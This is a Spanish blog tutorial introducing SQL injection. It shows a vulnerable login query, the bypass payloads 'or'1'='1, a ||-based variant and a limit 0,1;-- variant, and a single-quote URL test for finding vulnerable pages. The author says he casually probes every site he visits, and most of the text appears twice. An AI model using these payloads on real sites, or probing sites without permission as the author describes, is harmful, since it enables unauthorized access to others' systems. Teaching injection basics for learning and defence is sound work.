SQL Injection desde 0
Como buen pentester por cada pagina que navego me gusta saber si es un sitio seguro y siempre hago alguna pruebecilla.
Pues hoy os traigo una vulnerabilidad que existe desde que se crearon el lenguaje SQL y es Injection SQL.
¿Y que es eso?
SQL injection trata de inyectar en la aplicación en su mayoría web codigo SQL a través de la url o por formularios.
Para esta vulnerabilidad hay que saber de lenguaje SQL, si no es tu caso puedes consultar informacion sobre el lenguaje sql AQUI.
Imaginamos que estamos delante de un login parecido a este:Internamente al enviar este formulario sera:
select *
from users
where usuario = '$usuario' andpassword = '$password' ;
Y si coincide con lo que hay en la base de datos como por ejemplo user, user entraríamos.
¿Entonces si no coincide no podemos entrar?
No, vamos a ver la inyección que se usa para aprender y es: para la consulta que hemos visto ahora asi:
'or'1'='1
Quedando la consulta:
select *
from users
where usuario = 'user' and password = ''or'1'='1' ;
Expresandose: Selecciona todo de la tabla users donde usuario es igual a user y password es igual a (vacio) o 1=1.
1=1 asi que podemos entrar ;)
Hay veces donde nos puede sacar errores que prohíbe ha detectado and o or en la consulta en ese caso podemos hacer:
select *
from users
where usuario = 'user' and password = ''||'1'='1' ;
Podria ser que saltara un error como que hay mas de un usuario en ese caso podemos limitar la inyeccion para que solo coja el primer user.
select *
from users
where usuario = 'user' and password = ''||'1'='1' limit 0,1;-- a ;
¿Como detecto que paginas son vulnerables?
Si introducimos una comilla a la url, podemos observar como falla por un error no controlado por el administrador en MYSQL por culpa del array que no tiene ese argumento.
Con una consulta similar a:
select *
from users
where sec= '1' and temp= '1'' ;
Prefiero dejar estas 3 cosas básicas por el momento y dejarlo bien claro. Esto se puede impedir comprobando las variables pero muchos sitios no son conscientes del peligro que puede tener esta grave vulnerabilidad que.
Habrá mas entregas pronto: creando consultas y automatización.
select *
from users
where usuario = '$usuario' andpassword = '$password' ;
Y si coincide con lo que hay en la base de datos como por ejemplo user, user entraríamos.
¿Entonces si no coincide no podemos entrar?
No, vamos a ver la inyección que se usa para aprender y es: para la consulta que hemos visto ahora asi:
'or'1'='1
Quedando la consulta:
select *
from users
where usuario = 'user' and password = ''or'1'='1' ;
Expresandose: Selecciona todo de la tabla users donde usuario es igual a user y password es igual a (vacio) o 1=1.
1=1 asi que podemos entrar ;)
Hay veces donde nos puede sacar errores que prohíbe ha detectado and o or en la consulta en ese caso podemos hacer:
select *
from users
where usuario = 'user' and password = ''||'1'='1' ;
Podria ser que saltara un error como que hay mas de un usuario en ese caso podemos limitar la inyeccion para que solo coja el primer user.
select *
from users
where usuario = 'user' and password = ''||'1'='1' limit 0,1;-- a ;
¿Como detecto que paginas son vulnerables?
Si introducimos una comilla a la url, podemos observar como falla por un error no controlado por el administrador en MYSQL por culpa del array que no tiene ese argumento.
Con una consulta similar a:
select *
from users
where sec= '1' and temp= '1'' ;
Prefiero dejar estas 3 cosas básicas por el momento y dejarlo bien claro. Esto se puede impedir comprobando las variables pero muchos sitios no son conscientes del peligro que puede tener esta grave vulnerabilidad que.
Habrá mas entregas pronto: creando consultas y automatización.